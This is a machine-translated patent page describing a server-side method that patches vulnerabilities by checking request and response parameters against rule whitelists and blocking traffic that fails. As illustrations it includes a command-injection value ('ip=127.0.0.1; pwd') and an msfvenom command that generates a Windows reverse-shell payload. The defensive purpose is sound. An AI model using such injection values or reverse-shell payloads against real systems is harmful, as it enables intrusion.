CN117220933A - Vulnerability thermal repair method and server - Google Patents

Abstract

The embodiment of the application provides a vulnerability thermal repair method and a server, and relates to the technical field of network security. The method comprises the steps of obtaining flow data, wherein the flow data comprises request data or response data of the request data of a service system, the service system comprises risk points, and the risk points are functions of loopholes; invoking a rule white list to perform validity verification on the flow data, wherein the rule white list is used for defining validity rules of target parameters in the flow data, attack characteristics of attack loads capable of attacking vulnerabilities are eliminated from the validity rules, and the target parameters are parameters to be invoked at risk points; and blocking the flow data which do not pass the verification. In this way, the rule white list can be utilized to filter malicious requests to the loopholes of the risk points of the service system, so that the complexity of the loophole repair is reduced, and the repair effect is ensured.

Description

Vulnerability thermal repair method and server

Technical Field

The application relates to the technical field of network security, in particular to a method and a server for hot repairing of loopholes.

Background

As network attacks are increasingly advanced, innumerable enterprises, groups and the like can be permeated by attackers due to security holes in own network services or systems, so that serious consequences such as data leakage and economic loss are caused. Therefore, vulnerability restoration is an important means for avoiding the risk of network attack.

However, the solution of bug fixes in the related art has poor repair effect, and cannot meet the security defense requirement of the server.

Disclosure of Invention

The embodiment of the application provides a vulnerability thermal repair method, a device, a server, a computer storage medium and a computer program product, which can reduce repair complexity and ensure vulnerability repair effect.

In a first aspect, an embodiment of the present application provides a method for bug thermal remediation, where the method includes: acquiring flow data, wherein the flow data comprises request data or response data of the request data of a service system, the service system comprises risk points, and the risk points are functions of loopholes; invoking a rule white list to perform validity verification on the flow data, wherein the rule white list is used for defining validity rules of target parameters in the flow data, attack characteristics of attack loads capable of attacking vulnerabilities are eliminated from the validity rules, and the target parameters are parameters to be invoked at risk points; and blocking the flow data which do not pass the verification.

Therefore, the rule white list for repairing the loopholes at the risk points can be directly utilized to perform validity check on the target parameters in the flow data, malicious codes or special characters and the like are effectively prevented from being inserted into the target parameters by an attacker, and thermal repair of the loopholes at the risk points is realized. The repairing method has stronger repairing capability and enhances network security even if the attack character aiming at the unknown vulnerability is inserted into the flow data.

In some possible examples, the rule white list is used to define validity rules for parameter types of the target parameters; the calling rule white list performs validity check on the flow data, and the method comprises the following steps: determining the parameter type defined by the rule white list; obtaining target parameters corresponding to the parameter types defined by the rule white list from the flow data; and checking whether the target parameter accords with a validity rule defined by the rule white list.

Thus, according to the parameter types associated with the rule white list, the target parameters of the corresponding types in the flow data can be accurately acquired for verification.

In some possible examples, the validity rules include at least the format, length, and character set used of the target parameters.

In some possible examples, invoking a rule white list to perform a validity check on the traffic data includes: according to the legal rules in the rule white list, the format, the length and/or the characters of the target parameters are checked, and the legal of the target parameters is determined; determining that the flow data is legal under the condition that the format, the length and the characters of the target parameters all accord with the legal rule; and determining that the flow data is illegal in the case that one or more of the format, the length and the character of the target parameter do not accord with the legitimacy rule.

In this example, since the target parameter carrying the attack load cannot necessarily meet the definition of the validity rule, by checking the format, the length and the character of the target parameter, whether the traffic data has risk can be accurately identified, and the repair capability of the vulnerability is ensured.

In some possible examples, in the case that there are a plurality of rule whitelists, each rule whitelist is used for defining validity rules of parameter types of different target parameters, a priority order is set between each rule whitelist, and the calling rule whitelist performs validity check on the traffic data, including: calling a rule white list with the highest priority, and carrying out validity check on the flow data; and under the condition that the flow data passes the verification of the rule white list with the highest priority or the flow data does not comprise the target parameter of the parameter type corresponding to the rule white list with the highest priority, calling the rest rule white list one by one according to the priority order to perform validity verification on the flow data.

In this example, the traffic data may be checked through multiple regular whitelists, improving repair strength.

In some possible examples, the rule whitelist includes a general rule whitelist, and validity rules of the general rule whitelist are used for excluding attack features of attack loads capable of forming attacks on vulnerabilities existing at a plurality of risk points, the vulnerabilities are one or more, and the attack loads are one or more.

In some possible examples, the rule whitelist includes an application-type rule whitelist, and validity rules of the application-type rule whitelist are used for excluding attack features of attack loads capable of forming attacks on vulnerabilities existing at the target risk point, the vulnerabilities are one or more, and the attack loads are one or more.

In some possible examples, the method further comprises: determining the loopholes existing in the risk points in the system, and the parameter types of target parameters required to be called by the risk points; obtaining attack loads according to loopholes of the risk points; determining attack characteristics of attack loads; and generating a rule white list according to the attack characteristics and the parameter types.

In the example, a rule white list with a repairing effect on known risk point vulnerabilities is created aiming at attack characteristics of attack loads of the vulnerabilities of the known risk points in the system and parameter types called by the risk points, so that the legality of target parameters called by the risk points is guaranteed.

In some possible examples, the risk point has multiple vulnerabilities, the vulnerability types of the multiple vulnerabilities being different; according to the loopholes of the risk points, obtaining the attack load comprises the following steps: and obtaining the attack load of each vulnerability according to the vulnerability type of each vulnerability on the risk point.

In this example, when one risk point has multiple vulnerabilities, the attack load of each vulnerability can be obtained to create a rule white list, so that the scope of vulnerability repair is improved through the rule white list.

In some possible examples, the rule whitelist includes an application-type rule whitelist; generating a rule white list according to the attack characteristics and the parameter types, wherein the rule white list comprises the following steps: and generating an application type rule white list for repairing all vulnerabilities of the target risk point according to attack characteristics of attack loads of all vulnerabilities existing in the target risk point and parameter types of target parameters required to be called by the target risk point, wherein the target risk point is one of all risk points in the system.

In this example, a corresponding application-type white list may be created for a certain risk point in the system, and vulnerabilities of the risk point may be repaired in a targeted manner.

In some possible examples, the system includes multiple risk points, each of which requires a different parameter type of the target parameter to be invoked; the rule whitelist comprises a general rule whitelist; generating a rule white list according to the attack characteristics and the parameter types, wherein the rule white list comprises the following steps: and generating a general rule white list for repairing the vulnerabilities of the plurality of risk points according to attack characteristics of attack loads of all vulnerabilities existing in the plurality of risk points and the parameter types corresponding to each risk point.

In this example, the plurality of risk points may be risk points having a certain similarity, for example, a network configuration function capable of performing network addition, a user management function capable of performing user addition, and the like. The types of vulnerabilities that exist at these risk points may be the same, so a generic whitelist can be created that has repair capabilities for vulnerabilities at multiple risk points.

In some possible examples, the attack feature includes an attack code and/or a specified character (e.g., a special character); generating the rule white list according to the attack characteristic and the parameter type, wherein the rule white list comprises the following steps: creating a format, a length and a character set which are used and are required to be met by the target parameters of the parameter types, obtaining a rule set, and excluding the attack codes and the appointed characters in the rule set; and generating the rule white list by the rule set.

The rule white list generated in this way can prevent attack load to the loopholes at risk points from bypassing the list to form attack, and the repair strength is high.

In some possible examples, generating the rule whitelist based on the attack characteristics and the parameter types includes: and calling a rule generator, writing rules according to the attack characteristics and the parameter types, and generating a rule white list.

In some possible examples, after generating the rule white list based on the attack characteristics and the parameter types, the method includes: monitoring newly added holes of risk points of the system; acquiring attack characteristics of attack loads corresponding to the newly added loopholes; and optimizing the rule white list according to the attack characteristics of the attack load corresponding to the newly added vulnerability and the parameter types.

Therefore, when a new vulnerability exists in the risk points, the rule white list can be optimized directly according to the vulnerability, the problems of system compatibility and the like do not need to be considered, and the complexity of vulnerability restoration is reduced.

In a second aspect, an embodiment of the present application provides a device for repairing a bug, where the device includes: the acquisition module is used for acquiring flow data; the processing module is used for calling a rule white list to perform validity check on the flow data, the rule white list is used for defining validity rules of target parameters in the flow data, the target parameters are parameters to be called by risk points, and the risk points are functions of loopholes in the system; and the processing module is also used for blocking the flow data which do not pass the verification.

In a third aspect, an embodiment of the present application provides an electronic device, including: at least one memory for storing a program; at least one processor for executing programs stored in the memory; wherein the processor is adapted to perform the method described in the first aspect or any one of the possible implementations of the first aspect, when the memory-stored program is executed.

In a fourth aspect, embodiments of the present application provide a computer readable storage medium storing a computer program which, when run on a processor, causes the processor to perform the method described in the first aspect or any one of the possible implementations of the first aspect.

In a fifth aspect, embodiments of the application provide a computer program product, characterized in that the computer program product, when run on a processor, causes the processor to perform the method described in the first aspect or any one of the possible implementations of the first aspect.

In a sixth aspect, an embodiment of the present application provides a chip, including at least one processor and an interface; at least one processor obtains program instructions or data through an interface; at least one processor is configured to execute program line instructions to implement the method described in the first aspect or any one of the possible implementations of the first aspect.

It will be appreciated that the advantages of the second to sixth aspects may be found in the relevant description of the first aspect, and are not described here again.

Drawings

Fig. 1 is a schematic diagram of an application scenario provided in an embodiment of the present application;

Fig. 2 is a schematic structural diagram of a server according to an embodiment of the present application;

FIG. 3 is a schematic flow chart of a bug thermal remediation method according to an embodiment of the present application;

FIG. 4 is a schematic flow chart of a method for bug thermal remediation according to an embodiment of the present application;

FIG. 5 is a schematic flow chart of a method for bug thermal remediation according to an embodiment of the present application;

FIG. 6 is a schematic diagram of an apparatus according to an embodiment of the present application;

fig. 7 is a schematic structural diagram of a chip according to an embodiment of the present application.

Detailed Description

The term "and/or" herein is an association relationship describing an associated object, and means that there may be three relationships, for example, a and/or B may mean: a exists alone, A and B exist together, and B exists alone. The symbol "/" herein indicates that the associated object is or is a relationship, e.g., A/B indicates A or B.

The terms "first" and "second" and the like in the description and in the claims are used for distinguishing between different objects and not for describing a particular sequential order of objects. For example, the first response message and the second response message, etc. are used to distinguish between different response messages, and are not used to describe a particular order of response messages.

In embodiments of the application, words such as "exemplary" or "such as" are used to mean serving as an example, instance, or illustration. Any embodiment or design described herein as "exemplary" or "e.g." in an embodiment should not be taken as preferred or advantageous over other embodiments or designs. Rather, the use of words such as "exemplary" or "such as" is intended to present related concepts in a concrete fashion.

In the description of the embodiments of the present application, unless otherwise specified, the meaning of "plurality" means two or more, for example, the meaning of a plurality of processing units means two or more, or the like; the plurality of elements means two or more elements and the like.

In order to facilitate understanding of the technical solutions of the embodiments of the present application, the terms referred to herein are explained below.

Cross-site scripting attack (cross site scripting, but abbreviated XSS) exploits a security vulnerability that an attacker can exploit to inject malicious client-side code on a website. If the victim runs these malicious code, the attacker can break through the access restrictions of the website and impersonate the victim.

Command execution vulnerability: the security monitoring of commands entered by a user by a Web server is insufficient, resulting in malicious code being executed.

Structured query language (structured query language, SQL) injection holes: the method is that the validity of the data input by the user is not judged or filtered seriously by the Web application program, an attacker can add an extra SQL sentence on the end of a query sentence which is defined in advance in the Web application program, and illegal operation is realized under the condition that an administrator does not know, so that the database server is deceived to execute unauthorized random query, and corresponding data information is further obtained.

The Payload (Payload), also known as the attack Payload, refers to the code or instructions that are actually executed at the target system after the attack is successful.

Pwd (print working directory) command is a command in Linux to view the full path name of the current directory.

A0 day vulnerability (Zero-day Vulnerability) refers to a vulnerability that has not been publicly discovered and exploited by an attacker. An attacker can use the 0day vulnerability to obtain system rights, steal sensitive information or perform other malicious operations in an unauthorized manner

The bug repairing mode mainly comprises cold repairing and hot repairing. The cold repair is realized mainly by applying version iteration and reissuing online, and the repair scheme is complex to realize. The hot repair is a bug repair means which is performed without patch updating and version iteration.

Vulnerability thermal remediation is mainly embodied at the code level and the network level. At the code level, the operation and maintenance personnel can repair the loopholes by replacing or modifying the loading mode of the patch files. However, the vulnerability restoration method performed at the code layer needs to consider the version compatibility of the patch file and the system or application, and has high complexity. Moreover, a corresponding attack test program is required to be written for each patch file, so that incomplete repair or repair failure is easy to occur due to insufficient attack test.

In order to reduce complexity of bug repair and strengthen bug repair capability, the embodiment of the application provides a bug thermal repair method. The method mainly utilizes a white list to perform validity check on request or response data, thereby filtering malicious requests aiming at various loopholes. Therefore, only legal request or response data is considered, the white list is simpler to write, and the white list has stronger repairing capability for most loopholes.

In order to facilitate understanding of the scheme of the embodiment of the present application, an application scenario of the embodiment of the present application is described below.

Fig. 1 is a schematic diagram of an application scenario of an embodiment of the present application. As shown in fig. 1, clients 10a,10b,10c, … can access Web servers 20b,20c through proxy server 20a, and each Web server 20b,20c can provide corresponding services to clients 10a,10b,10c, …. The proxy server 20a and the Web servers 20b and 20c may deploy a rule white list 30, where rules such as data format and length of parameters in legal request data and response data are defined in the rule white list 30.

Take the example of a rule white list deployed on proxy server 20 a. In the process of sending and receiving the request data packets sent by the clients 10a,10b,10c, … to the Web servers 20b,20c and the response data packets returned by the Web servers 20b,20c, the proxy server 20a executes a vulnerability thermal repair mechanism to analyze and detect the request data or the response data. If the data in a certain requested data packet or in a response data packet to the request does not meet the rules defined in the rule white list 30, the request is blocked. For example, the rule white list 30 defines that the parameter ip in the request data is in a format conforming to IPv4/IPv6, and the length is the standard ip address length, if the proxy server 20a monitors that a certain request packet includes "ip=127.0.0.1; pwd ", etc., determined" by the rule white list 30; pwd "is an illegal character, the illegal request is blocked.

Similarly, when the rule white list 30 is deployed on a Web server (e.g., web server 20 b), the Web server 20b may also utilize the rule white list 30 to perform a corresponding bug hot fix mechanism to perform a validity check on the request data and the response data to be sent. In this example, the rule whitelist 30 and vulnerability remediation mechanism may be integrated with the Web server in the form of components.

In this way, no matter what type of attack is initiated by using which vulnerability on the server system, the attacker (assuming that the client 10c is the attacker) can be blocked because the attack code added in the request or response data exceeds the data rule defined by the rule white list 30, so that high-strength vulnerability repair is realized, and the difficulty of bypassing the rule white list 30 by the vulnerability attack is increased.

It is understood that the client in this example may be a cell phone, personal computer, tablet, personal digital assistant (personal digitalassistant, PDA), wearable device, smart television, etc., but is not limited thereto. The respective servers may be hardware servers, cloud servers, or virtualized devices (e.g., containers, virtual machines, etc.), but are not limited thereto.

The following describes a server provided in the embodiment of the present application. The server may be a device capable of providing data processing functions, arithmetic functions, storage functions, or the like. The server may be a hardware server, a cloud server, or a virtualized device, such as a virtual machine, a container, or the like.

By way of example, fig. 2 shows a schematic diagram of a server. As shown in fig. 2, the server 20 includes: a processor 21, a communication interface 22, and a memory 23. Wherein the processor 21, the communication interface 22, and the memory 23 may be connected by a bus 24 or other means.

In the present embodiment, the processor 21 is a computing core and a control core of the server 20. The processor 21 may include various processing devices, which may be, for example, a central processing unit (central processing unit, CPU), a System On Chip (SOC), a processor integrated on the SOC, a separate processor chip or controller, etc.: the processor 21 may also include special purpose processing devices such as application specific integrated circuits (application specific integrated circuit, ASIC), field programmable gate arrays (field programmable gate array, FPGA), digital signal processors (digital signal processor, DSP), etc. The processor 21 may be a processor group of a plurality of processors coupled to each other by one or more buses. In some embodiments, the processor 21 may perform some or all of the steps of the methods provided in embodiments of the present application.

The communication interface 22 is primarily intended to enable communication between modules, devices, units and/or apparatus in accordance with embodiments of the application. For example, the communication interface 22 may include a standard wired interface, a wireless interface (e.g., WI-FI, mobile communication interface, etc.), and may be controlled by the processor 21 to receive and transmit data, e.g., obtain request data from a client, or obtain response data from another server 20 to the client, etc. In addition, the communication interface 22 may also include a Serial Advanced Technology Attachment (SATA) interface, a peripheral component interconnect (PCI-Express, PCIE) bus interface, etc., for communication between modules within the server 20.

The memory 23 (memory) is a memory device of the server 20 for storing programs and data, for example, a computer Operating System (OS) and various programs, a rule white list 30, and the like. In particular, the memory 23 may be coupled to the processor 21 by one or more memory controllers. The memory 23 may be a random access memory (random access memory, RAM) or a nonvolatile memory (non-volatile memory), such as at least one disk memory or a read-only memory (ROM). Memory 23 provides storage space that stores an operating system and executable program code for server 20, which may include, but is not limited to: windows systems, linux systems, etc.

By way of example, the server 20 may be deployed as a proxy server 20a, or Web servers 20b,20c, etc., as shown in fig. 1, but is not limited thereto.

It should be understood that the structure illustrated in the embodiments of the present application does not constitute a specific limitation on the server 20. In other embodiments of the application, server 20 may include more or fewer components than shown, or certain components may be combined, or certain components may be split, or a different arrangement of components. The illustrated components may be implemented in hardware, software, or a combination of software and hardware.

Next, based on the above description, a bug hot repairing method provided by the embodiment of the present application is described. It will be appreciated that the method is set forth based on what has been described above, some or all of which may be found in the description above.

Referring to fig. 3, fig. 3 is a flow chart of a bug thermal remediation method according to an embodiment of the present application. It is understood that the method may be performed by any apparatus, device, platform, cluster of devices having computing, processing capabilities. As shown in fig. 3, the method may include:

s310, acquiring flow data.

In this embodiment, a service system (such as a web application of a website, a search engine, a forum, etc.) is installed on a web server, and a client may access the service system of the web server through a proxy server, and send request data for the service system to the web server, so as to obtain response data returned by the web server. Thus, either the web server or the proxy server can obtain these traffic data (request data and response data) for subsequent checksum processing. As an example, the Web server may be the Web server 20b (or may be the Web server 20 c) shown in fig. 1, and the proxy server may be the proxy server 20a shown in fig. 1, and the method steps in this embodiment are described below as being executed by the proxy server 20 a.

S320, calling a rule white list to perform validity check on the flow data.

In this embodiment, the business system of the web server 20b may include several functions, such as web site applications including network diagnostic functions, network configuration functions, user management functions, and the like. These functions may invoke one or more parameters (i.e., target parameters) in the traffic data to perform corresponding operations, such as the user management function invoking a user name parameter from a user request to perform a user add operation, and the network configuration function retrieving a network parameter from the user request to perform a network add operation. When a vulnerability exists in a certain function, the function is a risk point, an attacker can initiate a request carrying malicious code (attack load) by utilizing the vulnerability of the risk point, and the malicious code is enabled to run in a business system and the like in the process of calling target parameters by the risk point, so that illegal operation of the attacker is realized.

Illustratively, a rule white list 30 is deployed on the proxy server 20a, where one or more validity rules that should be met by target parameters required to be invoked by the risk point are defined in the rule white list 30, and attack features that can be possessed by an attack load that forms an attack on the vulnerability are excluded from the validity rules, and the target parameters are parameters required to be invoked by the risk point.

As a specific example, legal format, length, rule character set used, and the like of the target parameter may be defined in the validity rule, but not limited thereto.

In this way, if the attacker uses the vulnerability of the risk point to carry the malicious code in the target parameter in the request data X10, the format, length or character combination of the target parameter will necessarily change, and the validity rule of the target parameter will not be consistent with the predefined rule. Thus, the proxy server 20a may invoke the rule whitelist 30 to perform a validity check on the acquired traffic data, to check whether the target parameters in the traffic data meet the predefined validity rules.

If the format, the length, the characters and the like of the target parameters all accord with the corresponding legal rules, the flow data passes the verification. Otherwise, the data of the traffic which is not checked is possibly provided with malicious codes.

S330, blocking processing is carried out on the flow data which does not pass the verification.

In this embodiment, the traffic data passing the verification may be processed normally (e.g., forwarded by a proxy server). When the traffic data does not pass the verification, the proxy server 20a blocks the processing of the traffic data, so that malicious codes carried by the traffic data are prevented from being forwarded to the web server 20b or other devices to be executed, and the hot repair of the loopholes on the risk points of the service system is realized.

In this way, the proxy server 20a does not need to identify which type of vulnerability is targeted by the attack load in the traffic data, only needs to block the traffic data which does not conform to the rule white list 30 indifferently, and even if an attack aiming at an unknown vulnerability is encountered, the attack can have stronger repairing capability and network security is enhanced.

Next, a method for repairing a bug heat according to an embodiment of the present application will be described with reference to the accompanying drawings.

Exemplary, fig. 4 is a schematic flow chart of a bug hot repairing method according to an embodiment of the present application. As shown in fig. 4, the method may include:

s410, determining risk points of the service system.

In this embodiment, the operation and maintenance personnel may input relevant information or instructions to the server to determine the risk point of the service system on the server. The risk points may be one or more, and the risk points refer to functions with holes in the service system. By way of example, the server may be the server 20 shown in fig. 2, which is also described below as an example.

It will be appreciated that one or more business systems may be running on server 20, with the business systems being applications (e.g., web site applications) running on server 20. The operation and maintenance personnel can input information and instructions to the server 20 aiming at one or more known risk points of any service system, so that the server 20 executes the method steps of the embodiment to perform the bug thermal remediation aiming at the risk points in the service system.

Illustratively, after determining the risk point of the business system, the method may further include:

s411, determining the vulnerability type of the vulnerability existing in the risk point and the parameter type of the target parameter required to be called by the risk point.

In this example, the type of vulnerability at the risk point may be further detected by manual input or automatically by server 20, and the vulnerability type may include, but is not limited to: XSS vulnerabilities, SQL injection vulnerabilities, command execution vulnerabilities, and so forth. It will be appreciated that the automatic detection of the vulnerability type by the server 20 may be implemented by a mature vulnerability detection technology, which is not limited in this example.

For example, one risk point may exist for one or more vulnerabilities. For example, the network parameters of the network configuration function have XSS vulnerabilities, the IP parameters of the network diagnostic function have XSS vulnerabilities, SQL injection vulnerabilities, command execution vulnerabilities, and so on.

Also, in this example, each risk point is capable of invoking a target parameter of at least one parameter type to perform a corresponding functional operation. The types of parameters called by different risk points on the business system may be different.

For example. The network diagnosis function of the website is mainly used for performing basic diagnosis on the network when a user accesses the webpage to generate faults, determining the cause of the faults, wherein the types of parameters which can be called by the network diagnosis function at least comprise network (Internet Protocol, IP) address parameters of the user, and can also comprise a webpage uniform resource locator (uniform resource locator, URL) and the like, but the network diagnosis function is not limited to the network diagnosis function. The network configuration function is mainly used for configuring network ports to realize external communication, and the types of parameters which can be called by the network configuration function at least comprise network (network) parameters, such as a gateway, a subnet mask and the like. The user management function is mainly used for managing user accounts, and the parameter types which can be called by the user management function at least comprise user name (username) parameters.

S420, acquiring an attack load according to the loopholes of the risk points.

In this embodiment, the server 20 may obtain a corresponding attack load according to the vulnerability type existing at the risk point, so as to analyze the attack load to obtain a corresponding attack feature. The attack load is a section of malicious code which can be added in the traffic data to permeate the attack business system so as to be executed, and in the embodiment, the attack load can be written manually or collected from a network.

For example, an attack load library may be created by manually writing or automatically collecting attack loads for known vulnerability types in the field of computer security or in current business systems from the network. Thus, based on known vulnerability types of risk points, attack loads of the vulnerability types can be obtained from an attack load library. For example, obtain attack load a of XSS vulnerability, or obtain attack load B, C of SQL injection, etc.

S430, determining the attack characteristics according to the attack load.

In this embodiment, the attack payload is multi-stage malicious code that is executed after the system is trapped, and the server 20 may parse the malicious code to determine the attack characteristics of the attack payload (i.e., the code characteristics in the malicious code).

For example, the attack load contains malicious instructions, special characters, and the like, such as a single quotation mark ('), a double quotation mark ("), a reverse slash (\), a semicolon (;), and the like. These instructions and characters, which are distinguished from the client normal request data and the server 20 normal response data, can be recognized by parsing.

For example, it is assumed that a section of attack load containing a malicious code command "msfvenom-f exe lhost=192.168.1.1-pwindows/shell/reverse_tcp" can be obtained by parsing, where the attack load is based on a windows platform and the attack is characterized by "shell/reverse_tcp" (i.e. by obtaining the shell control program operation of the target machine, the attack is implemented).

S440, according to the attack characteristics and the parameter types of the risk points, a rule white list is generated, wherein the rule white list is used for defining validity rules of the parameter types corresponding to the target parameters in the flow data.

In this embodiment, the rule white list 30 may be generated by manually writing or automatically generating, according to attack characteristics of risk points and parameter types of target parameters to be called, so as to repair vulnerabilities of the risk points. The rule white list 30 defines rules that the legal client request data and the server 20 response data should satisfy, where the legal rules include, but are not limited to, format, length, and character set of parameters in the request data and/or the response data, and the legal rules exclude attack features of attack load to risk points.

For example, the server 20 may provide an interface for the operator to determine to perform automated writing or manual writing, so that the server 20 may obtain an instruction input from the interface by the operator through the step of S441, and determine to perform automated writing or manual writing.

In one possible implementation manner, if the server 20 determines that the automatic writing manner is used, the executing S440 may specifically include:

s442, calling a rule generator, writing rules according to attack characteristics and parameter types of the risk points, and generating a rule white list.

In this example, the rule generator is configured to generate, according to the input attack feature and the parameter type, a validity rule of the parameter type according to a preset writing rule, so that the validity rule excludes the attack feature.

In this embodiment, in the process of creating the corresponding rule whitelist 30 through step S440, different rule whitelists 30 may be created according to one or more risk points on the service system.

Specifically, the rule whitelist may include an application type rule whitelist and a general type rule whitelist, where the application type rule whitelist is used for blocking attacks of vulnerabilities of a target risk point on an application, and the general type rule whitelist is a whitelist for blocking the same type of attacks of multiple risk points of an application. In other words, the application-type rule white form is capable of effectively repairing one or more types of vulnerabilities at a specified risk point. The general rule white list is a rule set for risk points with similar characteristics, and can effectively repair one or more types of vulnerabilities of a plurality of risk points.

By way of example, the generation of the application-type rule white list may specifically include:

and generating an application type rule white list for repairing all vulnerabilities of the target risk point according to attack characteristics of attack loads of all vulnerabilities existing in the target risk point and parameter types of target parameters required to be called by the target risk point.

The following illustrates the creation principle of an application-type rule white list:

for example, in the website P, an XSS vulnerability exists in the IP parameters of the network diagnostic function, and an attacker uses the attack load carried by the XSS vulnerability in the request to have the attack feature S1, and then the rule generator may generate an application rule white list of the IP parameters of the network diagnostic function according to the attack feature S1. The definition in the rule white list of application type only allows to input data conforming to the IP format (such as IPv4 or IPv6 format) and the length, so that illegal data containing the attack characteristic S1 can be excluded from the data of the network diagnosis function call. And moreover, the rule generator is utilized to carry out automatic vulnerability analysis and repair rule generation, so that the manual maintenance cost can be reduced, and the risk exposure time can be shortened.

Similarly, if the IP parameters of the network diagnostic function in the website P have XSS vulnerabilities, SQL injection, and command execution vulnerabilities, an attacker uses these three types of vulnerabilities to make an attack load carried in the request have attack features S11, S12, S13, respectively. The rule generator may generate an application-type rule white list of the IP parameter according to the attack characteristics S11, S12, S13, where only data conforming to the IP format (e.g. IPv4 or IPv6 format) and the length is allowed to be input, and the data does not include the attack characteristics S11, S12, S13.

By way of example, the generation of the generic rule whitelist may specifically include:

and generating a general rule white list for repairing the vulnerabilities of the plurality of risk points according to attack characteristics of attack loads of all vulnerabilities existing in the plurality of risk points and parameter types corresponding to each risk point.

The following illustrates the creation principle of a generic rule white list:

for example, the IP parameters of the network diagnostic function, the network parameters of the network configuration function, and the username parameters of the user management function in the website P all have XSS vulnerabilities, and an attacker uses the XSS vulnerabilities of the three risk points to make the attack load carried in the request have attack features S11, S21, and S31, respectively.

The rule generator may generate a generic rule white list of the IP parameter, network parameter, and username parameter according to the attack characteristics S11, S21, S31. The general rule white list may define that the IP parameters only allow inputting data conforming to the IP format and length, and the input data cannot include the attack feature S11. Similarly, the network parameter and the username parameter only allow input of data of 0-9, a-Z and data of a length of not more than 20 characters, and cannot contain attack features S21, S31.

Similarly, if multiple types of vulnerabilities exist in multiple risk points of a service system, a general rule white list with a repairing effect on the vulnerabilities of the risk points on the service system can be generated based on attack characteristics of corresponding attack loads, and target parameter formats and lengths of parameter types called by the risk points are strictly limited, so that the obtained target parameters are ensured to not contain attack characteristics.

In this way, because the malicious code carried in the request data or the response data by the attacker aiming at the vulnerability often contains special characters and has a certain code length, the rule white list is created according to the parameter types of different risk points and the corresponding attack characteristics to limit the data transmission rule corresponding to the parameter types. Therefore, the data value of the corresponding parameter type called by the risk point can be ensured to contain no attack characteristic, and the repairing capability of the vulnerability of the risk point is enhanced. In addition, because the creation and deployment of the rule white list can not affect the service system (namely, the code level of the service system is not changed), the compatibility problem is not needed to be considered, the complexity of bug repair is reduced, meanwhile, the accurate repair of different risk points and different bug types can be ensured, and the bypassing difficulty is enhanced.

In some possible implementations, when the rule whitelist is created through S440, if the interface of the server 20 receives the instruction of the operation and maintenance personnel and determines to write manually, the server 20 may execute step S443 to provide the writing interface for the operation and maintenance personnel to create the rule, so as to obtain the rule input by the operation and maintenance personnel from the writing interface and generate the rule whitelist. It can be understood that the principle of manually writing the rule white list is similar to that of generating the rule white list by the rule generator, and will not be repeated. And, depending on the experience and skill of the operation and maintenance personnel, a more rigorous and flexible rule white list can be created.

In this embodiment, after the step S440 is performed automatically or manually to obtain the regular white list, the method may further include:

s450, performing simulated attack test on the rule white list, and storing the rule white list passing the test into a database.

In this embodiment, the created rule whitelist 30 may be subjected to a simulated attack test in a test environment built on the server 20.

For example, in a test environment, a simulated client request may be input to a specified risk point, where the simulated client request carries a corresponding attack load a, and then the validity of the simulated client request is checked by using the rule whitelist 30 (the validity rule of the rule whitelist 30 excludes the attack feature S1 of the attack load a). If the simulated client request is blocked because the parameters contained therein do not meet the validity rules of the rule whitelist 30, the rule whitelist meets the expectations, and the rule whitelist 30 can be stored in the database through testing. Instead, the rule whitelist 30 needs to be recreated or modified until the test is passed.

Optionally, in this embodiment, the method may further include:

s460, monitoring newly added holes in the business system to optimize the rule white list according to the newly added holes.

In this embodiment, the server 20 may monitor whether new vulnerabilities exist at each risk point on the service system through a mature vulnerability monitoring technology. If the server 20 finds that a new vulnerability exists at a certain risk point (i.e. repair is not complete), the rule white list may be optimized manually or automatically through the steps S410 to S450.

Therefore, the vulnerability of the risk points can be thermally repaired in time, and untimely rule updating is avoided. If the condition of incomplete restoration exists, manual rule optimization is supported, the code layer is not involved, and the method is safe, efficient and convenient.

In this embodiment, the rule whitelist passing the test may be deployed on the server 20 (e.g., proxy server 20a or Web server 20 c) and stored in the corresponding database. Thus, in the process of interaction between the server 20 and the client, as shown in fig. 5, the method may further include:

s470, acquiring traffic data, where the traffic data includes request data for a service system or response data for the request data.

In this embodiment, if the server 20 is deployed as the proxy server 20a, the server 20 may obtain request data of an application server (e.g. the Web server 20 c) service system of the client, and may also obtain response data of the application server to the client. If the server 20 is deployed as an application server, the server 20 may obtain the request data of the client and generate the response data.

S480, calling a rule white list to perform validity check on the flow data;

in this embodiment, after obtaining the request data or the response data, the server 20 may perform validity check through the preset rule white list 30, and check whether the format, the length, the character, and the like of the parameters of the related parameter types in the request data or the response data conform to the definition of the rule white list.

In this example, S480 may specifically include:

s481, the parameter types defined by the called rule white list are determined.

In this step, the different rule whitelist 30 may define validity rules of parameters of different parameter types, so that the different rule whitelist 30 is associated with corresponding parameter types. After setting which rule white list(s) 30 to use on the server 20, these rule white lists 30 can be invoked directly and the corresponding parameter types determined.

S482, obtaining the target parameter corresponding to the parameter type defined by the rule white list from the flow data.

In this step, through parsing the traffic data, according to the parameter type defined by the rule white list 30 currently used, a corresponding target parameter is obtained from the traffic data, for example, if the parameter type defined by the rule white list 30 currently used is an IP parameter, an IP address is obtained from the traffic data.

S483, checking whether the target parameter accords with the validity rule defined by the rule white list.

In this step, when checking whether the target parameter meets the validity rule defined by the rule white list, the format, length and/or character of the target parameter may be checked according to the validity rule in the rule white list 30, so as to determine the validity of the target parameter.

If the format, the length and the characters of the target parameters all accord with the validity rule, determining that the flow data are legal, and judging that the flow data pass the verification. Otherwise, if one or more of the format, the length and the character of the target parameter do not accord with the validity rule, determining that the flow data is illegal, and determining that the flow data does not pass the verification. That is, any one of the format, length, and character of the target parameter does not conform to the validity rule, and it is determined that the flow data verification fails.

It will be appreciated that the rule white list 30 has a corresponding validity rule for each parameter type. In the case that there are validity rules of a plurality of parameter types in the rule white list 30, when S483 is executed to verify the target parameter of any one parameter type, the validity rule corresponding to the parameter type is used.

In some possible implementations, multiple rule whitelists 30 may be deployed on the server 20, where the rule whitelists 30 may include an application type rule whitelist and a generic type rule whitelist, so in this implementation, the calling policies of the rule whitelists 30 may be:

the priorities of the application type rule whitelist and the general rule whitelist are set on the server 20 in advance, and the call is made according to the priorities of the rule whitelists. For example, when S480 is executed, the general rule whitelist may be preferentially called to check each flow data, so as to improve the checking efficiency. In the application scene with higher security level, the common inspection can be carried out on each flow data one by one according to the priority order by calling the general rule white list and the application rule white list, namely, each flow data must meet the definitions of the general rule white list and the application rule white list at the same time, thereby filtering malicious requests and achieving the effect of repairing loopholes.

